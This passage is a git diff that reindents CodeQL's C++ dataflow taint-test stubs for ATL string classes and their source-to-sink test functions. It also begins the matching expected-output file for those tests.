-  CSimpleStringT(PCXSTR pszSrc, IAtlStringMgr* pStringMgr);
-  CSimpleStringT(const CSimpleStringT& strSrc);
+    CSimpleStringT() throw();
+    CSimpleStringT(const XCHAR* pchSrc, int nLength, IAtlStringMgr* pStringMgr);
+    CSimpleStringT(PCXSTR pszSrc, IAtlStringMgr* pStringMgr);
+    CSimpleStringT(const CSimpleStringT& strSrc);
 
-  ~CSimpleStringT() throw();
+    ~CSimpleStringT() throw();
 
-  void Append(const CSimpleStringT& strSrc);
-  void Append(PCXSTR pszSrc, int nLength);
-  void Append(PCXSTR pszSrc);
+    void Append(const CSimpleStringT& strSrc);
+    void Append(PCXSTR pszSrc, int nLength);
+    void Append(PCXSTR pszSrc);
 
-  void AppendChar(XCHAR ch);
+    void AppendChar(XCHAR ch);
 
-  static void CopyChars(XCHAR* pchDest, const XCHAR* pchSrc, int nChars) throw();
-  static void CopyChars(XCHAR* pchDest, size_t nDestLen, const XCHAR* pchSrc, int nChars) throw();
-  static void CopyCharsOverlapped(XCHAR* pchDest, const XCHAR* pchSrc, int nChars) throw();
+    static void CopyChars(XCHAR* pchDest, const XCHAR* pchSrc, int nChars) throw();
+    static void CopyChars(XCHAR* pchDest, size_t nDestLen, const XCHAR* pchSrc, int nChars) throw();
+    static void CopyCharsOverlapped(XCHAR* pchDest, const XCHAR* pchSrc, int nChars) throw();
 
-  XCHAR GetAt(int iChar) const;
-  PXSTR GetBuffer(int nMinBufferLength);
-  PXSTR GetBuffer();
-  PXSTR GetBufferSetLength(int nLength);
+    XCHAR GetAt(int iChar) const;
+    PXSTR GetBuffer(int nMinBufferLength);
+    PXSTR GetBuffer();
+    PXSTR GetBufferSetLength(int nLength);
 
-  PCXSTR GetString() const throw();
-  PXSTR LockBuffer();
-  void SetAt(int iChar, XCHAR ch);
-  void SetString(PCXSTR pszSrc, int nLength);
-  void SetString(PCXSTR pszSrc);
-  operator PCXSTR() const throw();
-  XCHAR operator[](int iChar) const;
+    PCXSTR GetString() const throw();
+    PXSTR LockBuffer();
+    void SetAt(int iChar, XCHAR ch);
+    void SetString(PCXSTR pszSrc, int nLength);
+    void SetString(PCXSTR pszSrc);
+    operator PCXSTR() const throw();
+    XCHAR operator[](int iChar) const;
 
-  CSimpleStringT& operator+=(PCXSTR pszSrc);
-  CSimpleStringT& operator+=(const CSimpleStringT& strSrc);
-  CSimpleStringT& operator+=(char ch);
-  CSimpleStringT& operator+=(unsigned char ch);
-  CSimpleStringT& operator+=(wchar_t ch);
+    CSimpleStringT& operator+=(PCXSTR pszSrc);
+    CSimpleStringT& operator+=(const CSimpleStringT& strSrc);
+    CSimpleStringT& operator+=(char ch);
+    CSimpleStringT& operator+=(unsigned char ch);
+    CSimpleStringT& operator+=(wchar_t ch);
 
-  CSimpleStringT& operator=(PCXSTR pszSrc);
-  CSimpleStringT& operator=(const CSimpleStringT& strSrc);
-};
+    CSimpleStringT& operator=(PCXSTR pszSrc);
+    CSimpleStringT& operator=(const CSimpleStringT& strSrc);
+  };
 
-void test_CSimpleStringT() {
-  char* x = indirect_source<char>();
+  void test_CSimpleStringT() {
+    char* x = indirect_source<char>();
 
-  CSimpleStringT<char> s1(x, 10, nullptr);
-  sink(s1.GetString()); // $ ir
+    CSimpleStringT<char> s1(x, 10, nullptr);
+    sink(s1.GetString()); // $ ir
 
-  CSimpleStringT<char> s2(x, nullptr);
-  sink(s2.GetString()); // $ ir
+    CSimpleStringT<char> s2(x, nullptr);
+    sink(s2.GetString()); // $ ir
 
-  CSimpleStringT<char> s3(s2);
-  sink(s3.GetString()); // $ ir
+    CSimpleStringT<char> s3(s2);
+    sink(s3.GetString()); // $ ir
 
-  CSimpleStringT<char> s4;
-  s4.Append(indirect_source<char>());
-  sink(s4.GetString()); // $ ir
+    CSimpleStringT<char> s4;
+    s4.Append(indirect_source<char>());
+    sink(s4.GetString()); // $ ir
 
-  CSimpleStringT<char> s5;
-  s5.Append(s4);
-  sink(s5.GetString()); // $ ir
+    CSimpleStringT<char> s5;
+    s5.Append(s4);
+    sink(s5.GetString()); // $ ir
 
-  CSimpleStringT<char> s6;
-  s6.Append(indirect_source<char>(), 42);
-  sink(s6.GetString()); // $ ir
+    CSimpleStringT<char> s6;
+    s6.Append(indirect_source<char>(), 42);
+    sink(s6.GetString()); // $ ir
 
-  char buffer1[128];
-  CSimpleStringT<char>::CopyChars(buffer1, x, 10);
-  sink(buffer1); // $ ast ir
+    char buffer1[128];
+    CSimpleStringT<char>::CopyChars(buffer1, x, 10);
+    sink(buffer1); // $ ast ir
 
-  char buffer2[128];
-  CSimpleStringT<char>::CopyChars(buffer2, 128, x, 10);
-  sink(buffer2); // $ ast ir
+    char buffer2[128];
+    CSimpleStringT<char>::CopyChars(buffer2, 128, x, 10);
+    sink(buffer2); // $ ast ir
 
-  char buffer3[128];
-  CSimpleStringT<char>::CopyCharsOverlapped(buffer3, x, 10);
-  sink(buffer3); // $ ast ir
+    char buffer3[128];
+    CSimpleStringT<char>::CopyCharsOverlapped(buffer3, x, 10);
+    sink(buffer3); // $ ast ir
 
-  sink(s4.GetAt(0)); // $ ir
-  sink(s4.GetBuffer(10)); // $ ir
-  sink(s4.GetBuffer()); // $ ir
-  sink(s4.GetBufferSetLength(10)); // $ ir
+    sink(s4.GetAt(0)); // $ ir
+    sink(s4.GetBuffer(10)); // $ ir
+    sink(s4.GetBuffer()); // $ ir
+    sink(s4.GetBufferSetLength(10)); // $ ir
 
-  sink(s4.LockBuffer()); // $ ir
+    sink(s4.LockBuffer()); // $ ir
 
-  CSimpleStringT<char> s7;
-  s7.SetAt(0, source<char>());
-  sink(s7.GetAt(0)); // $ ir
+    CSimpleStringT<char> s7;
+    s7.SetAt(0, source<char>());
+    sink(s7.GetAt(0)); // $ ir
 
-  CSimpleStringT<char> s8;
-  s8.SetString(indirect_source<char>());
-  sink(s8.GetAt(0)); // $ ir
+    CSimpleStringT<char> s8;
+    s8.SetString(indirect_source<char>());
+    sink(s8.GetAt(0)); // $ ir
 
-  CSimpleStringT<char> s9;
-  s9.SetString(indirect_source<char>(), 1024);
-  sink(s9.GetAt(0)); // $ ir
+    CSimpleStringT<char> s9;
+    s9.SetString(indirect_source<char>(), 1024);
+    sink(s9.GetAt(0)); // $ ir
 
-  sink(static_cast<CSimpleStringT<char>::PCXSTR>(s1)); // $ ir
-  
-  sink(s1[0]); // $ ir
-}
+    sink(static_cast<CSimpleStringT<char>::PCXSTR>(s1)); // $ ir
+    
+    sink(s1[0]); // $ ir
+  }
 
-template<typename T>
-struct MakeOther {};
-
-template<>
-struct MakeOther<char> {
-  using other_t = wchar_t;
-};
-
-template<>
-struct MakeOther<wchar_t> {
-  using other_t = char;
-};
-
-template<typename BaseType>
-struct CStringT : public CSimpleStringT<BaseType> {
-  using XCHAR = BaseType; // simplified
-  using YCHAR = typename MakeOther<BaseType>::other_t; // simplified
-  using PCXSTR = typename CSimpleStringT<BaseType>::PCXSTR;
-  using PXSTR = typename CSimpleStringT<BaseType>::PXSTR;
-  CStringT() throw();
-
-  CStringT(IAtlStringMgr* pStringMgr) throw();
-  CStringT(const VARIANT& varSrc);
-  CStringT(const VARIANT& varSrc, IAtlStringMgr* pStringMgr);
-  CStringT(const CStringT& strSrc);
-  CStringT(const CSimpleStringT<BaseType>& strSrc);
-  CStringT(const XCHAR* pszSrc);
-  CStringT(const YCHAR* pszSrc);
-  CStringT(LPCSTR pszSrc, IAtlStringMgr* pStringMgr);
-  CStringT(LPCWSTR pszSrc, IAtlStringMgr* pStringMgr);
-  CStringT(const unsigned char* pszSrc);
-  CStringT(char* pszSrc);
-  CStringT(unsigned char* pszSrc);
-  CStringT(wchar_t* pszSrc);
-  CStringT(const unsigned char* pszSrc, IAtlStringMgr* pStringMgr);
-  CStringT(char ch, int nLength = 1);
-  CStringT(wchar_t ch, int nLength = 1);
-  CStringT(const XCHAR* pch, int nLength);
-  CStringT(const YCHAR* pch, int nLength);
-  CStringT(const XCHAR* pch, int nLength, IAtlStringMgr* pStringMgr);
-  CStringT(const YCHAR* pch, int nLength, IAtlStringMgr* pStringMgr);
-
-  operator CSimpleStringT<BaseType> &();
-
-  ~CStringT() throw();
-
-  BSTR AllocSysString() const;
-  void AppendFormat(PCXSTR pszFormat, ...);
-  void AppendFormat(UINT nFormatID, ...);
-  int Delete(int iIndex, int nCount = 1);
-  int Find(PCXSTR pszSub, int iStart=0) const throw();
-  int Find(XCHAR ch, int iStart=0) const throw();
-  int FindOneOf(PCXSTR pszCharSet) const throw();
-  void Format(UINT nFormatID, ...);
-  void Format(PCXSTR pszFormat, ...);
-  BOOL GetEnvironmentVariable(PCXSTR pszVar);
-  int Insert(int iIndex, PCXSTR psz);
-  int Insert(int iIndex, XCHAR ch);
-  CStringT Left(int nCount) const;
-  BOOL LoadString(HINSTANCE hInstance, UINT nID, WORD wLanguageID);
-  BOOL LoadString(HINSTANCE hInstance, UINT nID);
-  BOOL LoadString(UINT nID);
-  CStringT& MakeLower();
-  CStringT& MakeReverse();
-  CStringT& MakeUpper();
-  CStringT Mid(int iFirst, int nCount) const;
-  CStringT Mid(int iFirst) const;
-  int Replace(PCXSTR pszOld, PCXSTR pszNew);
-  int Replace(XCHAR chOld, XCHAR chNew);
-  CStringT Right(int nCount) const;
-  BSTR SetSysString(BSTR* pbstr) const;
-  CStringT SpanExcluding(PCXSTR pszCharSet) const;
-  CStringT SpanIncluding(PCXSTR pszCharSet) const;
-  CStringT Tokenize(PCXSTR pszTokens, int& iStart) const;
-  CStringT& Trim(XCHAR chTarget);
-  CStringT& Trim(PCXSTR pszTargets);
-  CStringT& Trim();
-  CStringT& TrimLeft(XCHAR chTarget);
-  CStringT& TrimLeft(PCXSTR pszTargets);
-  CStringT& TrimLeft();
-  CStringT& TrimRight(XCHAR chTarget);
-  CStringT& TrimRight(PCXSTR pszTargets);
-  CStringT& TrimRight();
-};
-
-void test_CStringT() {
-  VARIANT v = source<VARIANT>();
-
-  CStringT<char> s1(v);
-  sink(s1.GetString()); // $ ir
-
-  CStringT<char> s2(v, nullptr);
-  sink(s2.GetString()); // $ ir
-
-  CStringT<char> s3(s2);
-  sink(s3.GetString()); // $ ir
-
-  char* x = indirect_source<char>();
-  CStringT<char> s4(x);
-  sink(s4.GetString()); // $ ir
-
-  wchar_t* y = indirect_source<wchar_t>();
-  CStringT<wchar_t> s5(y);
-  sink(s5.GetString()); // $ ir
-
-  CStringT<char> s6(x, nullptr);
-  sink(s6.GetString()); // $ ir
-
-  CStringT<wchar_t> s7(y, nullptr);
-  sink(s7.GetString()); // $ ir
-
-  unsigned char* ucs = indirect_source<unsigned char>();
-  CStringT<char> s8(ucs);
-  sink(s8.GetString()); // $ ir
-
-  char c = source<char>();
-  CStringT<char> s9(c);
-  sink(s9.GetString()); // $ ir
-
-  wchar_t wc = source<wchar_t>();
-  CStringT<wchar_t> s10(wc);
-  sink(s10.GetString()); // $ ir
-
-  sink(static_cast<CSimpleStringT<char>&>(s1)); // $ ast ir
-
-  auto bstr = s1.AllocSysString();
-  sink(bstr); // $ ir
-
-  CStringT<char> s11;
-  s11.AppendFormat("%d", source<int>());
-  sink(s11.GetString()); // $ ir
-
-  CStringT<char> s12;
-  s12.AppendFormat(indirect_source<char>());
-  sink(s12.GetString()); // $ ir
-
-  CStringT<char> s13;
-  s13.AppendFormat(source<UINT>());
-  sink(s13.GetString()); // $ ir
-
-  CStringT<char> s14;
-  s14.AppendFormat(42, source<char>());
-  sink(s14.GetString()); // $ ir
-
-  CStringT<char> s15;
-  s15.AppendFormat(42, indirect_source<char>());
-  sink(s15.GetString()); // $ ir
-
-  CStringT<char> s16;
-  s16.AppendFormat("%s", indirect_source<char>());
-
-  CStringT<char> s17;
-  s17.Insert(0, x);
-  sink(s17.GetString()); // $ ir
-
-  CStringT<char> s18;
-  s18.Insert(0, source<char>());
-  sink(s18.GetString()); // $ ir
-
-  sink(s1.Left(42).GetString()); // $ ir
-
-  CStringT<char> s20;
-  s20.LoadString(source<UINT>());
-  sink(s20.GetString()); // $ ir
-
-  sink(s1.MakeLower().GetString()); // $ ir
-  sink(s1.MakeReverse().GetString()); // $ ir
-  sink(s1.MakeUpper().GetString()); // $ ir
-  sink(s1.Mid(0, 42).GetString()); // $ ir
-
-  CStringT<char> s21;
-  s21.Replace("abc", x);
-  sink(s21.GetString()); // $ ir
-
-  CStringT<char> s22;
-  s22.Replace('\n', source<char>());
-  sink(s22.GetString()); // $ ir
+  template<typename T>
+  struct MakeOther {};
+
+  template<>
+  struct MakeOther<char> {
+    using other_t = wchar_t;
+  };
+
+  template<>
+  struct MakeOther<wchar_t> {
+    using other_t = char;
+  };
+
+  template<typename BaseType>
+  struct CStringT : public CSimpleStringT<BaseType> {
+    using XCHAR = BaseType; // simplified
+    using YCHAR = typename MakeOther<BaseType>::other_t; // simplified
+    using PCXSTR = typename CSimpleStringT<BaseType>::PCXSTR;
+    using PXSTR = typename CSimpleStringT<BaseType>::PXSTR;
+    CStringT() throw();
+
+    CStringT(IAtlStringMgr* pStringMgr) throw();
+    CStringT(const VARIANT& varSrc);
+    CStringT(const VARIANT& varSrc, IAtlStringMgr* pStringMgr);
+    CStringT(const CStringT& strSrc);
+    CStringT(const CSimpleStringT<BaseType>& strSrc);
+    CStringT(const XCHAR* pszSrc);
+    CStringT(const YCHAR* pszSrc);
+    CStringT(LPCSTR pszSrc, IAtlStringMgr* pStringMgr);
+    CStringT(LPCWSTR pszSrc, IAtlStringMgr* pStringMgr);
+    CStringT(const unsigned char* pszSrc);
+    CStringT(char* pszSrc);
+    CStringT(unsigned char* pszSrc);
+    CStringT(wchar_t* pszSrc);
+    CStringT(const unsigned char* pszSrc, IAtlStringMgr* pStringMgr);
+    CStringT(char ch, int nLength = 1);
+    CStringT(wchar_t ch, int nLength = 1);
+    CStringT(const XCHAR* pch, int nLength);
+    CStringT(const YCHAR* pch, int nLength);
+    CStringT(const XCHAR* pch, int nLength, IAtlStringMgr* pStringMgr);
+    CStringT(const YCHAR* pch, int nLength, IAtlStringMgr* pStringMgr);
+
+    operator CSimpleStringT<BaseType> &();
+
+    ~CStringT() throw();
+
+    BSTR AllocSysString() const;
+    void AppendFormat(PCXSTR pszFormat, ...);
+    void AppendFormat(UINT nFormatID, ...);
+    int Delete(int iIndex, int nCount = 1);
+    int Find(PCXSTR pszSub, int iStart=0) const throw();
+    int Find(XCHAR ch, int iStart=0) const throw();
+    int FindOneOf(PCXSTR pszCharSet) const throw();
+    void Format(UINT nFormatID, ...);
+    void Format(PCXSTR pszFormat, ...);
+    BOOL GetEnvironmentVariable(PCXSTR pszVar);
+    int Insert(int iIndex, PCXSTR psz);
+    int Insert(int iIndex, XCHAR ch);
+    CStringT Left(int nCount) const;
+    BOOL LoadString(HINSTANCE hInstance, UINT nID, WORD wLanguageID);
+    BOOL LoadString(HINSTANCE hInstance, UINT nID);
+    BOOL LoadString(UINT nID);
+    CStringT& MakeLower();
+    CStringT& MakeReverse();
+    CStringT& MakeUpper();
+    CStringT Mid(int iFirst, int nCount) const;
+    CStringT Mid(int iFirst) const;
+    int Replace(PCXSTR pszOld, PCXSTR pszNew);
+    int Replace(XCHAR chOld, XCHAR chNew);
+    CStringT Right(int nCount) const;
+    BSTR SetSysString(BSTR* pbstr) const;
+    CStringT SpanExcluding(PCXSTR pszCharSet) const;
+    CStringT SpanIncluding(PCXSTR pszCharSet) const;
+    CStringT Tokenize(PCXSTR pszTokens, int& iStart) const;
+    CStringT& Trim(XCHAR chTarget);
+    CStringT& Trim(PCXSTR pszTargets);
+    CStringT& Trim();
+    CStringT& TrimLeft(XCHAR chTarget);
+    CStringT& TrimLeft(PCXSTR pszTargets);
+    CStringT& TrimLeft();
+    CStringT& TrimRight(XCHAR chTarget);
+    CStringT& TrimRight(PCXSTR pszTargets);
+    CStringT& TrimRight();
+  };
+
+  void test_CStringT() {
+    VARIANT v = source<VARIANT>();
+
+    CStringT<char> s1(v);
+    sink(s1.GetString()); // $ ir
+
+    CStringT<char> s2(v, nullptr);
+    sink(s2.GetString()); // $ ir
+
+    CStringT<char> s3(s2);
+    sink(s3.GetString()); // $ ir
+
+    char* x = indirect_source<char>();
+    CStringT<char> s4(x);
+    sink(s4.GetString()); // $ ir
+
+    wchar_t* y = indirect_source<wchar_t>();
+    CStringT<wchar_t> s5(y);
+    sink(s5.GetString()); // $ ir
+
+    CStringT<char> s6(x, nullptr);
+    sink(s6.GetString()); // $ ir
+
+    CStringT<wchar_t> s7(y, nullptr);
+    sink(s7.GetString()); // $ ir
+
+    unsigned char* ucs = indirect_source<unsigned char>();
+    CStringT<char> s8(ucs);
+    sink(s8.GetString()); // $ ir
+
+    char c = source<char>();
+    CStringT<char> s9(c);
+    sink(s9.GetString()); // $ ir
+
+    wchar_t wc = source<wchar_t>();
+    CStringT<wchar_t> s10(wc);
+    sink(s10.GetString()); // $ ir
+
+    sink(static_cast<CSimpleStringT<char>&>(s1)); // $ ast ir
+
+    auto bstr = s1.AllocSysString();
+    sink(bstr); // $ ir
+
+    CStringT<char> s11;
+    s11.AppendFormat("%d", source<int>());
+    sink(s11.GetString()); // $ ir
+
+    CStringT<char> s12;
+    s12.AppendFormat(indirect_source<char>());
+    sink(s12.GetString()); // $ ir
+
+    CStringT<char> s13;
+    s13.AppendFormat(source<UINT>());
+    sink(s13.GetString()); // $ ir
+
+    CStringT<char> s14;
+    s14.AppendFormat(42, source<char>());
+    sink(s14.GetString()); // $ ir
+
+    CStringT<char> s15;
+    s15.AppendFormat(42, indirect_source<char>());
+    sink(s15.GetString()); // $ ir
+
+    CStringT<char> s16;
+    s16.AppendFormat("%s", indirect_source<char>());
+
+    CStringT<char> s17;
+    s17.Insert(0, x);
+    sink(s17.GetString()); // $ ir
+
+    CStringT<char> s18;
+    s18.Insert(0, source<char>());
+    sink(s18.GetString()); // $ ir
+
+    sink(s1.Left(42).GetString()); // $ ir
+
+    CStringT<char> s20;
+    s20.LoadString(source<UINT>());
+    sink(s20.GetString()); // $ ir
+
+    sink(s1.MakeLower().GetString()); // $ ir
+    sink(s1.MakeReverse().GetString()); // $ ir
+    sink(s1.MakeUpper().GetString()); // $ ir
+    sink(s1.Mid(0, 42).GetString()); // $ ir
+
+    CStringT<char> s21;
+    s21.Replace("abc", x);
+    sink(s21.GetString()); // $ ir
+
+    CStringT<char> s22;
+    s22.Replace('\n', source<char>());
+    sink(s22.GetString()); // $ ir
 
-  sink(s2.Right(42).GetString()); // $ ir
+    sink(s2.Right(42).GetString()); // $ ir
 
-  BSTR bstr2;
-  s1.SetSysString(&bstr2);
-  sink(bstr2); // $ ast ir
+    BSTR bstr2;
+    s1.SetSysString(&bstr2);
+    sink(bstr2); // $ ast ir
 
-  sink(s1.SpanExcluding("abc").GetString()); // $ ir
-  sink(s1.SpanIncluding("abc").GetString()); // $ ir
-  
-  int start = 0;
-  sink(s1.Tokenize("abc", start).GetString()); // $ ir
+    sink(s1.SpanExcluding("abc").GetString()); // $ ir
+    sink(s1.SpanIncluding("abc").GetString()); // $ ir
+    
+    int start = 0;
+    sink(s1.Tokenize("abc", start).GetString()); // $ ir
 
-  sink(s1.Trim('a').GetString()); // $ ir
-  sink(s1.Trim("abc").GetString()); // $ ir
-  sink(s1.Trim().GetString()); // $ ir
-  sink(s1.TrimLeft('a').GetString()); // $ ir
-  sink(s1.TrimLeft("abc").GetString()); // $ ir
-  sink(s1.TrimLeft().GetString()); // $ ir
-  sink(s1.TrimRight('a').GetString()); // $ ir
-  sink(s1.TrimRight("abc").GetString()); // $ ir
-  sink(s1.TrimRight().GetString()); // $ ir
-}
+    sink(s1.Trim('a').GetString()); // $ ir
+    sink(s1.Trim("abc").GetString()); // $ ir
+    sink(s1.Trim().GetString()); // $ ir
+    sink(s1.TrimLeft('a').GetString()); // $ ir
+    sink(s1.TrimLeft("abc").GetString()); // $ ir
+    sink(s1.TrimLeft().GetString()); // $ ir
+    sink(s1.TrimRight('a').GetString()); // $ ir
+    sink(s1.TrimRight("abc").GetString()); // $ ir
+    sink(s1.TrimRight().GetString()); // $ ir
+  }
 
-struct CStringData {
-  void* data() throw();
-};
+  struct CStringData {
+    void* data() throw();
+  };
 
-void test_CStringData() {
-  CStringData d = source<CStringData>();
-  sink(d.data()); // $ ir
-}
+  void test_CStringData() {
+    CStringData d = source<CStringData>();
+    sink(d.data()); // $ ir
+  }
 
-template<typename TCharType>
-struct CStrBufT {
-  typedef CSimpleStringT<TCharType> StringType;
+  template<typename TCharType>
+  struct CStrBufT {
+    typedef CSimpleStringT<TCharType> StringType;
 
-  using PCXSTR = typename StringType::PCXSTR;
-  using PXSTR = typename StringType::PXSTR;
+    using PCXSTR = typename StringType::PCXSTR;
+    using PXSTR = typename StringType::PXSTR;
 
-  CStrBufT(StringType& str, int nMinLength, DWORD dwFlags);
-  CStrBufT(StringType& str);
+    CStrBufT(StringType& str, int nMinLength, DWORD dwFlags);
+    CStrBufT(StringType& str);
 
-  operator PCXSTR() const throw();
-  operator PXSTR() throw();
-};
+    operator PCXSTR() const throw();
+    operator PXSTR() throw();
+  };
 
-void test_CStrBufT() {
-  CStringT<char> s = source<CStringT<char>>();
-  CStrBufT<char> b(s, 42, 0);
-  sink(static_cast<CStrBufT<char>::PCXSTR>(b)); // $ ir
-  sink(static_cast<CStrBufT<char>::PXSTR>(b)); // $ ir
+  void test_CStrBufT() {
+    CStringT<char> s = source<CStringT<char>>();
+    CStrBufT<char> b(s, 42, 0);
+    sink(static_cast<CStrBufT<char>::PCXSTR>(b)); // $ ir
+    sink(static_cast<CStrBufT<char>::PXSTR>(b)); // $ ir
+  }
 }
\ No newline at end of file
diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected
index ed09207adf0b..24f651ca3892 100644
--- a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected
+++ b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected
@@ -140,1144 +140,1144 @@ WARNING: module 'TaintTracking' has been deprecated and may be removed in future
 | arrayassignment.cpp:145:12:145:12 | 5 | arrayassignment.cpp:145:7:145:13 | access to array | TAINT |
 | arrayassignment.cpp:146:7:146:10 | arr3 | arrayassignment.cpp:146:7:146:13 | access to array |  |
 | arrayassignment.cpp:146:12:146:12 | 5 | arrayassignment.cpp:146:7:146:13 | access to array | TAINT |
-| atl.cpp:34:30:34:30 | 1 | atl.cpp:34:29:34:30 | - ... | TAINT |
-| atl.cpp:78:14:78:25 | call to source | atl.cpp:79:21:79:21 | x |  |
-| atl.cpp:79:21:79:21 | x | atl.cpp:79:21:79:22 | call to _U_STRINGorID | TAINT |
-| atl.cpp:79:21:79:22 | call to _U_STRINGorID | atl.cpp:80:10:80:10 | u |  |
-| atl.cpp:84:17:84:43 | call to indirect_source | atl.cpp:85:21:85:21 | y |  |
-| atl.cpp:85:21:85:21 | y | atl.cpp:85:21:85:22 | call to _U_STRINGorID | TAINT |
-| atl.cpp:85:21:85:22 | call to _U_STRINGorID | atl.cpp:86:10:86:10 | u |  |
-| atl.cpp:105:15:105:35 | call to indirect_source | atl.cpp:106:19:106:19 | x |  |
-| atl.cpp:106:19:106:19 | x | atl.cpp:106:19:106:20 | call to CA2AEX | TAINT |
-| atl.cpp:106:19:106:20 | call to CA2AEX | atl.cpp:107:29:107:29 | a |  |
-| atl.cpp:106:19:106:20 | call to CA2AEX | atl.cpp:108:10:108:10 | a |  |
-| atl.cpp:106:19:106:20 | call to CA2AEX | atl.cpp:109:10:109:10 | a |  |
-| atl.cpp:106:19:106:20 | call to CA2AEX | atl.cpp:110:3:110:3 | a |  |
-| atl.cpp:107:29:107:29 | ref arg a | atl.cpp:108:10:108:10 | a |  |
-| atl.cpp:107:29:107:29 | ref arg a | atl.cpp:109:10:109:10 | a |  |
-| atl.cpp:107:29:107:29 | ref arg a | atl.cpp:110:3:110:3 | a |  |
-| atl.cpp:108:10:108:10 | a [post update] | atl.cpp:109:10:109:10 | a |  |
-| atl.cpp:108:10:108:10 | a [post update] | atl.cpp:110:3:110:3 | a |  |
-| atl.cpp:109:10:109:10 | a [post update] | atl.cpp:110:3:110:3 | a |  |
-| atl.cpp:113:15:113:35 | call to indirect_source | atl.cpp:114:19:114:19 | x |  |
-| atl.cpp:114:19:114:23 | call to CA2AEX | atl.cpp:115:29:115:29 | a |  |
-| atl.cpp:114:19:114:23 | call to CA2AEX | atl.cpp:116:10:116:10 | a |  |
-| atl.cpp:114:19:114:23 | call to CA2AEX | atl.cpp:117:10:117:10 | a |  |
-| atl.cpp:114:19:114:23 | call to CA2AEX | atl.cpp:118:3:118:3 | a |  |
-| atl.cpp:115:29:115:29 | ref arg a | atl.cpp:116:10:116:10 | a |  |
-| atl.cpp:115:29:115:29 | ref arg a | atl.cpp:117:10:117:10 | a |  |
-| atl.cpp:115:29:115:29 | ref arg a | atl.cpp:118:3:118:3 | a |  |
-| atl.cpp:116:10:116:10 | a [post update] | atl.cpp:117:10:117:10 | a |  |
-| atl.cpp:116:10:116:10 | a [post update] | atl.cpp:118:3:118:3 | a |  |
-| atl.cpp:117:10:117:10 | a [post update] | atl.cpp:118:3:118:3 | a |  |
-| atl.cpp:131:14:131:34 | call to indirect_source | atl.cpp:133:20:133:20 | x |  |
-| atl.cpp:131:14:131:34 | call to indirect_source | atl.cpp:139:20:139:20 | x |  |
-| atl.cpp:133:20:133:20 | x | atl.cpp:133:20:133:21 | call to CA2CAEX | TAINT |
-| atl.cpp:133:20:133:21 | call to CA2CAEX | atl.cpp:134:30:134:30 | a |  |
-| atl.cpp:133:20:133:21 | call to CA2CAEX | atl.cpp:135:10:135:10 | a |  |
-| atl.cpp:133:20:133:21 | call to CA2CAEX | atl.cpp:136:10:136:10 | a |  |
-| atl.cpp:133:20:133:21 | call to CA2CAEX | atl.cpp:137:3:137:3 | a |  |
-| atl.cpp:139:20:139:24 | call to CA2CAEX | atl.cpp:140:30:140:30 | a |  |
-| atl.cpp:139:20:139:24 | call to CA2CAEX | atl.cpp:141:10:141:10 | a |  |
-| atl.cpp:139:20:139:24 | call to CA2CAEX | atl.cpp:142:10:142:10 | a |  |
-| atl.cpp:139:20:139:24 | call to CA2CAEX | atl.cpp:143:3:143:3 | a |  |
-| atl.cpp:157:14:157:34 | call to indirect_source | atl.cpp:159:19:159:19 | x |  |
-| atl.cpp:157:14:157:34 | call to indirect_source | atl.cpp:165:19:165:19 | x |  |
-| atl.cpp:159:19:159:19 | x | atl.cpp:159:19:159:20 | call to CA2WEX | TAINT |
-| atl.cpp:159:19:159:20 | call to CA2WEX | atl.cpp:160:30:160:30 | a |  |
-| atl.cpp:159:19:159:20 | call to CA2WEX | atl.cpp:161:10:161:10 | a |  |
-| atl.cpp:159:19:159:20 | call to CA2WEX | atl.cpp:162:10:162:10 | a |  |
-| atl.cpp:159:19:159:20 | call to CA2WEX | atl.cpp:163:3:163:3 | a |  |
-| atl.cpp:160:30:160:30 | ref arg a | atl.cpp:161:10:161:10 | a |  |
-| atl.cpp:160:30:160:30 | ref arg a | atl.cpp:162:10:162:10 | a |  |
-| atl.cpp:160:30:160:30 | ref arg a | atl.cpp:163:3:163:3 | a |  |
-| atl.cpp:161:10:161:10 | a [post update] | atl.cpp:162:10:162:10 | a |  |
-| atl.cpp:161:10:161:10 | a [post update] | atl.cpp:163:3:163:3 | a |  |
-| atl.cpp:161:12:161:16 | ref arg m_psz | atl.cpp:162:12:162:16 | m_psz |  |
-| atl.cpp:162:10:162:10 | a [post update] | atl.cpp:163:3:163:3 | a |  |
-| atl.cpp:165:19:165:23 | call to CA2WEX | atl.cpp:166:30:166:30 | a |  |
-| atl.cpp:165:19:165:23 | call to CA2WEX | atl.cpp:167:10:167:10 | a |  |
-| atl.cpp:165:19:165:23 | call to CA2WEX | atl.cpp:168:10:168:10 | a |  |
-| atl.cpp:165:19:165:23 | call to CA2WEX | atl.cpp:169:3:169:3 | a |  |
-| atl.cpp:166:30:166:30 | ref arg a | atl.cpp:167:10:167:10 | a |  |
-| atl.cpp:166:30:166:30 | ref arg a | atl.cpp:168:10:168:10 | a |  |
-| atl.cpp:166:30:166:30 | ref arg a | atl.cpp:169:3:169:3 | a |  |
-| atl.cpp:167:10:167:10 | a [post update] | atl.cpp:168:10:168:10 | a |  |
-| atl.cpp:167:10:167:10 | a [post update] | atl.cpp:169:3:169:3 | a |  |
-| atl.cpp:167:12:167:16 | ref arg m_psz | atl.cpp:168:12:168:16 | m_psz |  |
-| atl.cpp:168:10:168:10 | a [post update] | atl.cpp:169:3:169:3 | a |  |
-| atl.cpp:217:11:217:21 | call to source | atl.cpp:221:11:221:11 | x |  |
-| atl.cpp:220:20:220:20 | call to CAtlArray | atl.cpp:221:5:221:5 | a |  |
-| atl.cpp:220:20:220:20 | call to CAtlArray | atl.cpp:222:10:222:10 | a |  |
-| atl.cpp:220:20:220:20 | call to CAtlArray | atl.cpp:223:5:223:5 | a |  |
-| atl.cpp:220:20:220:20 | call to CAtlArray | atl.cpp:224:10:224:10 | a |  |
-| atl.cpp:220:20:220:20 | call to CAtlArray | atl.cpp:228:15:228:15 | a |  |
-| atl.cpp:220:20:220:20 | call to CAtlArray | atl.cpp:243:3:243:3 | a |  |
-| atl.cpp:221:5:221:5 | ref arg a | atl.cpp:222:10:222:10 | a |  |
-| atl.cpp:221:5:221:5 | ref arg a | atl.cpp:223:5:223:5 | a |  |
-| atl.cpp:221:5:221:5 | ref arg a | atl.cpp:224:10:224:10 | a |  |
-| atl.cpp:221:5:221:5 | ref arg a | atl.cpp:228:15:228:15 | a |  |
-| atl.cpp:221:5:221:5 | ref arg a | atl.cpp:243:3:243:3 | a |  |
